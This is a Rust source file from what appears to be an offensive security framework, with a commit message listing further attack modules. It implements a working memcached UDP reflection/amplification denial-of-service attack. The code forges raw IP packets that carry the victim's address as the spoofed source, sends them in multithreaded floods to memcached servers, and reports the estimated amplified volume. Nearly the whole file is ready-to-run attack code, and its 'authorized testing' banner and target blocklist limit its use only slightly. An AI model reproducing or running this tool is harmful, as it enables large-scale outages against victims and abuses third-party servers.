Files
s-b-repo-rustsploit/src/modules/exploits/dos/memcached_amplification.rs
T
S.B 8a8b7e8e5f Sync local dev: new modules + framework hardening & feature fixes
Modules:
- Refactor wpair (WhisperPair / CVE-2025-36911) into a module directory
  (crypto/db/gatt/protocol + model_ids.csv), replacing the single wpair.rs
- Add h3c_bmc suite (firewall/ipmi-hash/kvm-probe/redfish dumps),
  fortinet SSLVPN/magic-token, sharepoint_doc_harvest, m365_activesync_spray,
  ldap_anon_spray, php/git/tapestry webapp modules, h3c_cloudos_api_enum, etc.

Framework hardening / feature fixes:
- Background jobs capture module output (drainer) + wire progress counters
  (ScanCounters); tenant jobs record terminal status on their own JobManager
- SSRF: ssrf_gate distinguishes SSRF_BLOCKED vs TARGET_ERROR; fail-closed
  REST/WS/MCP dispatch; tenant-tagged PQ lifecycle events
- Scheduler: exclusions + service-port precheck on CIDR/file fan-out; accurate
  considered/skipped counters; cancellation-safe permit acquisition
- Mass scan works via shell/CLI/API/MCP (added MCP run_module background-job
  option so long scans don't hit the tool-call timeout)
- Bruteforce workers re-scope OUTPUT_BUFFER; cross-product combo default
- Stores: cred dedup/cap/scrub, loot scrub, workspace protocol scrub,
  spool explicit-owner + write_raw (no-newline spooling)
- Error handling: removed let _/discarded-error patterns; failures are
  distinguishable from negatives
- Removed dead check/CheckResult subsystem, OutputAccumulator, and the no-op
  --output-format flag; CredEntry.valid wired (creds invalidate/validate);
  typed HostUp/ServiceDetected events
- Add .gitignore (build artifacts, local config, engagement data)

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-04 16:44:32 +02:00

633 lines
25 KiB
Rust

//! Memcached UDP Amplification DoS Module
//!
//! Sends spoofed memcached UDP "stats" requests to open memcached servers with
//! the victim's IP as source, causing massively amplified responses (~51000x)
//! directed at the victim. Uses raw UDP sockets with IP_HDRINCL.
//! FOR AUTHORIZED TESTING ONLY.
use crate::native::dos_utils::{FastRng, checksum_16, sum_16};
use anyhow::{anyhow, Context, Result};
use colored::*;
use socket2::{Domain, Protocol, Socket, Type};
use std::net::Ipv4Addr;
use std::os::unix::io::AsRawFd;
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::sync::Arc;
use std::thread;
use std::time::{Duration, Instant};
use crate::module::{ModuleCtx, ModuleOutcome};
use crate::native::network::{make_dst_sockaddr, send_one_raw};
use crate::utils::{
normalize_target, cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no,
};
// ============================================================================
// CONSTANTS
// ============================================================================
const IPV4_HEADER_LEN: usize = 20;
const UDP_HEADER_LEN: usize = 8;
const MEMCACHED_PORT: u16 = 11211;
const DEFAULT_TTL: u8 = 64;
const IPPROTO_UDP: u8 = 17;
const STATS_BATCH_SIZE: u64 = 5000;
const SEND_BUFFER_SIZE: usize = 4 * 1024 * 1024;
const AMPLIFICATION_FACTOR: f64 = 51000.0;
const MEMCACHED_PAYLOAD: [u8; 15] = [
0x00, 0x00, // Request ID
0x00, 0x00, // Sequence number
0x00, 0x01, // Total datagrams
0x00, 0x00, // Reserved
b's', b't', b'a', b't', b's', b'\r', b'\n', // stats\r\n
];
// ============================================================================
// CONFIGURATION
// ============================================================================
#[derive(Clone, Debug)]
struct MemcachedAmpConfig {
victim_ip: Ipv4Addr,
memcached_servers: Vec<Ipv4Addr>,
worker_count: usize,
duration_secs: u64,
verbose: bool,
}
// ============================================================================
// FAST RNG (XorShift128+)
// ============================================================================
// ============================================================================
// RAW PACKET BUILDER (IP + UDP + Memcached payload)
// ============================================================================
struct PacketBuilder {
template: Vec<u8>,
udp_pseudo_partial_base: u32,
}
impl PacketBuilder {
fn new(victim_ip: Ipv4Addr) -> Result<Self> {
let payload_len = MEMCACHED_PAYLOAD.len();
let total_len = IPV4_HEADER_LEN + UDP_HEADER_LEN + payload_len;
let mut template = vec![0u8; total_len];
// IP header (static fields)
template[0] = 0x45; // Version=4, IHL=5
template[1] = 0; // DSCP/ECN
template[2] = (total_len >> 8) as u8; // Total length hi
template[3] = total_len as u8; // Total length lo
template[6] = 0; // Flags
template[7] = 0;
template[8] = DEFAULT_TTL; // TTL
template[9] = IPPROTO_UDP; // Protocol
// Source IP = victim (spoofed)
let src_bytes = victim_ip.octets();
template[12] = src_bytes[0];
template[13] = src_bytes[1];
template[14] = src_bytes[2];
template[15] = src_bytes[3];
// Dest IP filled per-packet (per memcached server)
// UDP header (static fields)
let udp = &mut template[IPV4_HEADER_LEN..];
// Source port set per-packet (random ephemeral)
udp[2] = (MEMCACHED_PORT >> 8) as u8; // Dest port hi (11211)
udp[3] = MEMCACHED_PORT as u8; // Dest port lo
let udp_len = (UDP_HEADER_LEN + payload_len) as u16;
udp[4] = (udp_len >> 8) as u8; // UDP length hi
udp[5] = udp_len as u8; // UDP length lo
// [6..8] = UDP checksum (set per-packet)
// Memcached stats payload
template[IPV4_HEADER_LEN + UDP_HEADER_LEN..].copy_from_slice(&MEMCACHED_PAYLOAD);
// Pre-compute partial pseudo-header: src_ip + protocol + udp_length
let mut partial: u32 = 0;
partial += u16::from_be_bytes([src_bytes[0], src_bytes[1]]) as u32;
partial += u16::from_be_bytes([src_bytes[2], src_bytes[3]]) as u32;
partial += IPPROTO_UDP as u32;
partial += udp_len as u32;
Ok(Self {
template,
udp_pseudo_partial_base: partial,
})
}
/// Build a spoofed memcached UDP packet targeting a specific server.
#[inline]
fn build_into(&self, buf: &mut [u8], server: Ipv4Addr, rng: &mut FastRng) -> usize {
let len = self.template.len();
buf[..len].copy_from_slice(&self.template);
let dst_bytes = server.octets();
let src_port = rng.gen_ephemeral_port();
let ip_id = rng.next_u16();
// Patch IP header -- dest IP (memcached server)
buf[4] = (ip_id >> 8) as u8;
buf[5] = ip_id as u8;
buf[16] = dst_bytes[0];
buf[17] = dst_bytes[1];
buf[18] = dst_bytes[2];
buf[19] = dst_bytes[3];
// IP checksum
buf[10] = 0;
buf[11] = 0;
let ip_cksum = checksum_16(&buf[..IPV4_HEADER_LEN]);
buf[10] = (ip_cksum >> 8) as u8;
buf[11] = ip_cksum as u8;
// Patch UDP header -- source port
let udp = &mut buf[IPV4_HEADER_LEN..];
udp[0] = (src_port >> 8) as u8;
udp[1] = src_port as u8;
udp[6] = 0;
udp[7] = 0;
// UDP checksum
let mut sum = self.udp_pseudo_partial_base;
sum += u16::from_be_bytes([dst_bytes[0], dst_bytes[1]]) as u32;
sum += u16::from_be_bytes([dst_bytes[2], dst_bytes[3]]) as u32;
let udp_data = &buf[IPV4_HEADER_LEN..len];
sum = sum_16(udp_data, sum);
while (sum >> 16) != 0 {
sum = (sum & 0xFFFF) + (sum >> 16);
}
let udp_cksum = !(sum as u16);
let udp_cksum = if udp_cksum == 0 { 0xFFFF } else { udp_cksum };
buf[IPV4_HEADER_LEN + 6] = (udp_cksum >> 8) as u8;
buf[IPV4_HEADER_LEN + 7] = udp_cksum as u8;
len
}
}
// ============================================================================
// LOW-LEVEL SEND HELPERS
// ============================================================================
// ============================================================================
// WORKER THREAD
// ============================================================================
struct WorkerStats {
packets: u64,
bytes: u64,
}
fn worker_thread(
wctx: super::WorkerCtx,
config: MemcachedAmpConfig,
) {
let super::WorkerCtx { worker_id, raw_fd, stop_flag, global_packets, global_bytes, global_errors, start_time } = wctx;
let builder = match PacketBuilder::new(config.victim_ip) {
Ok(b) => b,
Err(e) => {
crate::meprintln!("[!] Worker {} builder error: {}", worker_id, e);
return;
}
};
let mut rng = FastRng::with_thread_seed(worker_id);
let duration = Duration::from_secs(config.duration_secs);
let pkt_size = IPV4_HEADER_LEN + UDP_HEADER_LEN + MEMCACHED_PAYLOAD.len();
let pkt_size_u64 = pkt_size as u64;
let mut stats = WorkerStats { packets: 0, bytes: 0 };
let mut local_errs: u64 = 0;
let mut consecutive_errs: u32 = 0;
let mut error_logged = false;
let mut buf = vec![0u8; pkt_size];
let server_count = config.memcached_servers.len();
let mut server_idx: usize = worker_id % server_count;
// Pre-compute sockaddrs for all memcached servers
let dst_addrs: Vec<libc::sockaddr_in> = config.memcached_servers
.iter()
.map(|ip| make_dst_sockaddr(*ip))
.collect();
loop {
if stop_flag.load(Ordering::Relaxed) || start_time.elapsed() >= duration {
break;
}
// Round-robin through memcached servers
let server = config.memcached_servers[server_idx];
let dst = &dst_addrs[server_idx];
server_idx = (server_idx + 1) % server_count;
builder.build_into(&mut buf, server, &mut rng);
match send_one_raw(raw_fd, &buf[..pkt_size], dst) {
Ok(_) => {
stats.packets += 1;
stats.bytes += pkt_size_u64;
consecutive_errs = 0;
}
Err(e) => {
local_errs += 1;
consecutive_errs += 1;
let errno = e.raw_os_error().unwrap_or(0);
if errno == libc::EPERM || errno == libc::EACCES {
if worker_id == 0 {
crate::meprintln!("\n{}", "[!] Permission denied — root/CAP_NET_RAW required".red().bold());
}
stop_flag.store(true, Ordering::Relaxed);
break;
}
if errno == libc::ENOBUFS || errno == libc::ENOMEM {
thread::sleep(Duration::from_micros(200));
consecutive_errs = consecutive_errs.saturating_sub(1);
}
if config.verbose && worker_id == 0 && !error_logged {
crate::meprintln!("\n{}", format!("[!] Send error: {} (errno {})", e, errno).red());
error_logged = true;
}
if consecutive_errs >= 500 {
if worker_id == 0 {
crate::meprintln!("\n{}", format!(
"[!] Worker 0: {} consecutive errors, giving up: {} (errno {})",
consecutive_errs, e, errno
).red());
}
break;
}
}
}
// Batch flush global stats
if stats.packets >= STATS_BATCH_SIZE {
global_packets.fetch_add(stats.packets, Ordering::Relaxed);
global_bytes.fetch_add(stats.bytes, Ordering::Relaxed);
global_errors.fetch_add(local_errs, Ordering::Relaxed);
stats.packets = 0;
stats.bytes = 0;
local_errs = 0;
}
}
global_packets.fetch_add(stats.packets, Ordering::Relaxed);
global_bytes.fetch_add(stats.bytes, Ordering::Relaxed);
global_errors.fetch_add(local_errs, Ordering::Relaxed);
}
fn create_raw_socket() -> Result<Socket> {
let socket = Socket::new(
Domain::IPV4,
Type::RAW,
Some(Protocol::from(libc::IPPROTO_RAW)),
).context("Failed to create raw socket (requires root)")?;
socket.set_header_included_v4(true)
.context("Failed to set IP_HDRINCL")?;
if let Err(e) = socket.set_send_buffer_size(SEND_BUFFER_SIZE) { eprintln!("[!] Failed to set send buffer size: {}", e); }
crate::native::network::apply_raw_send_timeout(&socket);
Ok(socket)
}
/// Parse memcached servers from a comma-separated string or a file path (one IP per line).
fn parse_server_list(input: &str) -> Result<Vec<Ipv4Addr>> {
let trimmed = input.trim();
// Check if input looks like a file path
if std::path::Path::new(trimmed).is_file() {
let contents = std::fs::read_to_string(trimmed)
.context("Failed to read server list file")?;
let mut addrs = Vec::new();
for line in contents.lines() {
let line = line.trim();
if line.is_empty() || line.starts_with('#') {
continue;
}
let ip: Ipv4Addr = line.parse()
.map_err(|e| anyhow!("Invalid IP in file: '{}': {e}", line))?;
addrs.push(ip);
}
return Ok(addrs);
}
// Otherwise treat as comma-separated
let mut addrs = Vec::new();
for part in trimmed.split(',') {
let part = part.trim();
if !part.is_empty() {
let ip: Ipv4Addr = part.parse()
.map_err(|e| anyhow!("Invalid memcached server IP: '{}': {e}", part))?;
addrs.push(ip);
}
}
Ok(addrs)
}
// ============================================================================
// MAIN EXECUTION
// ============================================================================
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let initial_target = ctx
.target
.as_single()
.context("memcached_amplification requires a single-host target")?;
crate::utils::require_root("memcached_amplification (raw socket for spoofed source)")?;
if crate::api::is_blocked_target(initial_target) {
crate::mprintln!("{}", format!("[!] Target {} is blocked (private/loopback/metadata address)", initial_target).red().bold());
return Ok(ModuleOutcome::ok());
}
display_banner();
let config = gather_config(initial_target).await?;
execute_attack(config, ctx.cancel.clone()).await?;
Ok(ModuleOutcome::ok())
}
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!("{}", r#"
╔══════════════════════════════════════════════════════════════╗
║ Memcached UDP Amplification DoS Module ║
║ Spoofed Stats Requests (~51,000x Amplification) ║
║ Raw UDP with IP_HDRINCL ║
║ FOR AUTHORIZED TESTING ONLY ║
╚══════════════════════════════════════════════════════════════╝
"#.red().bold());
}
async fn gather_config(initial_target: &str) -> Result<MemcachedAmpConfig> {
crate::mprintln!("{}", "=== Configuration ===".bold());
// Target = victim IP
let target_input = if initial_target.trim().is_empty() {
cfg_prompt_required("target", "Victim IP (target that receives amplified memcached responses)").await?
} else {
crate::mprintln!("{}", format!("[*] Using victim: {}", initial_target).cyan());
initial_target.to_string()
};
let normalized = normalize_target(&target_input)?;
// P1-4: refuse (or force explicit authorization for) DoS against
// private / loopback / cloud-metadata addresses.
crate::utils::network::assert_dos_target_authorized(&normalized).await?;
let victim_ip: Ipv4Addr = normalized.parse()
.map_err(|e| anyhow!("Victim must be a valid IPv4 address: {e}"))?;
// Memcached servers
let servers_input = cfg_prompt_required(
"memcached_servers",
"Memcached servers (comma-separated IPs or file path, one per line)",
).await?;
let memcached_servers = parse_server_list(&servers_input)?;
if memcached_servers.is_empty() {
return Err(anyhow!("At least one memcached server is required"));
}
let cpu_count = num_cpus::get();
let workers_input = cfg_prompt_default(
"workers",
&format!("Worker threads (recommended: {})", cpu_count),
&cpu_count.to_string(),
).await?;
let worker_count: usize = workers_input.parse()
.map_err(|e| anyhow!("Invalid number for workers: {e}"))?;
if worker_count == 0 {
return Err(anyhow!("Worker count must be > 0"));
}
let duration_input = cfg_prompt_required("duration", "Duration (seconds)").await?;
let duration_secs: u64 = duration_input.parse()
.map_err(|e| anyhow!("Invalid duration: {e}"))?;
if duration_secs == 0 {
return Err(anyhow!("Duration must be > 0"));
}
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
// Summary
crate::mprintln!("\n{}", "=== Attack Configuration ===".bold());
crate::mprintln!(" Victim IP: {}", victim_ip);
crate::mprintln!(" Memcached Servers: {} targets", memcached_servers.len());
for s in &memcached_servers {
crate::mprintln!(" - {}:{}", s, MEMCACHED_PORT);
}
crate::mprintln!(" Workers: {} threads", worker_count);
crate::mprintln!(" Duration: {}s", duration_secs);
crate::mprintln!(" Amplification: ~{:.0}x", AMPLIFICATION_FACTOR);
crate::mprintln!(" Request Payload: {} bytes (stats command)", MEMCACHED_PAYLOAD.len());
crate::mprintln!("\n{}", "[!] Spoofed memcached UDP requests will be sent to servers".yellow().bold());
crate::mprintln!("{}", "[!] Amplified responses (~51,000x) will be directed at the victim".yellow());
crate::mprintln!("{}", "[!] This is the most powerful known UDP amplification vector".red().bold());
if !cfg_prompt_yes_no("confirm", "\nProceed with attack?", true).await? {
return Err(anyhow!("Attack cancelled by user"));
}
Ok(MemcachedAmpConfig {
victim_ip,
memcached_servers,
worker_count,
duration_secs,
verbose,
})
}
async fn execute_attack(mut config: MemcachedAmpConfig, cancel: tokio_util::sync::CancellationToken) -> Result<()> {
crate::mprintln!("\n{}", "[*] Starting Memcached Amplification Attack...".yellow().bold());
// P2: ensure host limits before allocating sockets / spawning threads.
let (clamped, _) = crate::native::network::ensure_dos_capacity(
"memcached_amplification",
config.worker_count,
1,
);
config.worker_count = clamped;
// Shared socket pool: one socket per CPU core (up to 32), striped across workers.
// Avoids fd exhaustion from per-worker sockets while reducing kernel lock contention.
let num_sockets = config.worker_count.min(num_cpus::get().max(1) * 2).min(32);
crate::mprintln!("[*] Creating {} shared raw socket(s)...", num_sockets);
let sockets: Vec<Socket> = (0..num_sockets)
.map(|_| create_raw_socket())
.collect::<Result<Vec<_>>>()?;
let fds: Vec<i32> = sockets.iter().map(|s| s.as_raw_fd()).collect();
// Pre-flight: verify we can actually send a raw packet before spawning workers
crate::mprintln!("{}", "[*] Pre-flight test...".cyan());
let test_builder = PacketBuilder::new(config.victim_ip)?;
let mut test_rng = FastRng::with_thread_seed(usize::MAX);
let pkt_size = IPV4_HEADER_LEN + UDP_HEADER_LEN + MEMCACHED_PAYLOAD.len();
let mut test_buf = vec![0u8; pkt_size];
let first_server = config.memcached_servers[0];
test_builder.build_into(&mut test_buf, first_server, &mut test_rng);
let dst_sockaddr = make_dst_sockaddr(first_server);
match send_one_raw(fds[0], &test_buf, &dst_sockaddr) {
Ok(n) => crate::mprintln!("{}", format!("[+] Pre-flight OK: {} bytes queued to kernel", n).green()),
Err(e) => {
let errno = e.raw_os_error().unwrap_or(-1);
return Err(anyhow!(
"Pre-flight send failed: {} (errno {})\n\
Possible causes:\n\
- EPERM/EACCES (errno 1/13): not running as root or CAP_NET_RAW missing\n\
- ENETUNREACH (errno 101): no route to {}\n\
- EMSGSIZE (errno 90): packet ({} bytes) exceeds interface MTU\n\
- EINVAL (errno 22): invalid socket configuration",
e, errno, first_server, pkt_size
));
}
}
let stop_flag = Arc::new(AtomicBool::new(false));
let packets_sent = Arc::new(AtomicU64::new(0));
let bytes_sent = Arc::new(AtomicU64::new(0));
let errors_total = Arc::new(AtomicU64::new(0));
crate::mprintln!("[*] Spawning {} worker threads across {} socket(s)...", config.worker_count, num_sockets);
let start_time = Instant::now();
let duration = Duration::from_secs(config.duration_secs);
let mut handles = Vec::with_capacity(config.worker_count);
let mut spawn_failures = 0u32;
for worker_id in 0..config.worker_count {
let cfg = config.clone();
let stop = stop_flag.clone();
let pkts = packets_sent.clone();
let bts = bytes_sent.clone();
let errs = errors_total.clone();
let fd = fds[worker_id % fds.len()];
match thread::Builder::new()
.stack_size(128 * 1024)
.spawn(move || {
worker_thread(super::WorkerCtx { worker_id, raw_fd: fd, stop_flag: stop, global_packets: pkts, global_bytes: bts, global_errors: errs, start_time }, cfg);
}) {
Ok(handle) => handles.push(handle),
Err(e) => {
spawn_failures += 1;
if spawn_failures == 1 {
crate::meprintln!("{}", format!(
"[!] Thread spawn failed at worker {} — OS thread limit reached: {e}",
worker_id
).yellow());
}
}
}
}
if handles.is_empty() {
return Err(anyhow!("Failed to spawn any worker threads"));
}
if spawn_failures > 0 {
crate::mprintln!("{}", format!(
"[!] {}/{} workers spawned ({} failed — reduce worker count or raise ulimit)",
handles.len(), config.worker_count, spawn_failures
).yellow());
}
crate::mprintln!("{}", "[*] Attack started!".green().bold());
// Stats printer
let stats_stop = stop_flag.clone();
let stats_pkts = packets_sent.clone();
let stats_bytes = bytes_sent.clone();
let stats_errs = errors_total.clone();
let server_count = config.memcached_servers.len() as u64;
let stats_task = tokio::spawn(async move {
while !stats_stop.load(Ordering::Relaxed) {
tokio::time::sleep(Duration::from_secs(2)).await;
let pkts = stats_pkts.load(Ordering::Relaxed);
let bytes = stats_bytes.load(Ordering::Relaxed);
let errs = stats_errs.load(Ordering::Relaxed);
let elapsed = start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { pkts as f64 / elapsed } else { 0.0 };
let est_amplified_mb = (bytes as f64 * AMPLIFICATION_FACTOR) / (1024.0 * 1024.0);
crate::mprint!("\r{}", format!(
"[*] Requests: {:>10} | Sent: {:>8.2} MB | Est. Amplified: {:>10.2} MB | Servers: {} | Rate: {:>8.0} pkt/s | Errs: {} ",
pkts, bytes as f64 / (1024.0 * 1024.0), est_amplified_mb, server_count, rate, errs
).dimmed());
if let Err(e) = std::io::Write::flush(&mut std::io::stdout()) { eprintln!("[!] Flush failed: {}", e); }
}
});
tokio::select! {
_ = tokio::time::sleep(duration) => {}
_ = cancel.cancelled() => {
crate::meprintln!("[*] Memcached amplification cancelled by user");
}
}
stop_flag.store(true, Ordering::SeqCst);
for handle in handles {
if let Err(e) = handle.join() { eprintln!("[!] Thread join failed: {:?}", e); }
}
stats_task.abort();
let total_pkts = packets_sent.load(Ordering::Relaxed);
let total_bytes = bytes_sent.load(Ordering::Relaxed);
let total_errs = errors_total.load(Ordering::Relaxed);
let elapsed_secs = start_time.elapsed().as_secs_f64();
let est_amplified_bytes = total_bytes as f64 * AMPLIFICATION_FACTOR;
crate::mprintln!("\n\n{}", "=== Attack Complete ===".green().bold());
crate::mprintln!(" Duration: {:.2}s", elapsed_secs);
crate::mprintln!(" Requests Sent: {}", total_pkts);
crate::mprintln!(" Data Sent: {:.2} MB", total_bytes as f64 / (1024.0 * 1024.0));
crate::mprintln!(" Est. Amplified Volume: {:.2} MB ({:.2} GB)",
est_amplified_bytes / (1024.0 * 1024.0),
est_amplified_bytes / (1024.0 * 1024.0 * 1024.0));
crate::mprintln!(" Amplification Factor: ~{:.0}x", AMPLIFICATION_FACTOR);
crate::mprintln!(" Total Errors: {}", total_errs);
if elapsed_secs > 0.0 {
crate::mprintln!(" Avg Rate: {:.0} pkt/s", total_pkts as f64 / elapsed_secs);
}
if total_pkts == 0 && total_errs > 0 {
crate::mprintln!("\n{}", "[!] Zero packets sent — all sends failed. Check errors above.".red().bold());
} else if total_pkts > 0 && total_errs > total_pkts / 2 {
crate::mprintln!("\n{}", format!(
"[!] High error rate ({} errors / {} packets). Reduce worker count.",
total_errs, total_pkts
).yellow());
}
drop(sockets);
Ok(())
}
pub fn info() -> crate::module_info::ModuleInfo {
crate::module_info::ModuleInfo {
name: "Memcached UDP Amplification".to_string(),
description: "Sends spoofed memcached UDP stats requests to open servers, causing massively amplified responses (~51,000x) directed at the victim via raw UDP with IP_HDRINCL.".to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![
"CVE-2018-1000115".to_string(),
"https://www.us-cert.gov/ncas/alerts/TA18-106A".to_string(),
],
disclosure_date: None,
rank: crate::module_info::ModuleRank::Normal,
default_port: None,
}
}
crate::register_native_module!(crate::module::Category::Exploits, "dos/memcached_amplification", native);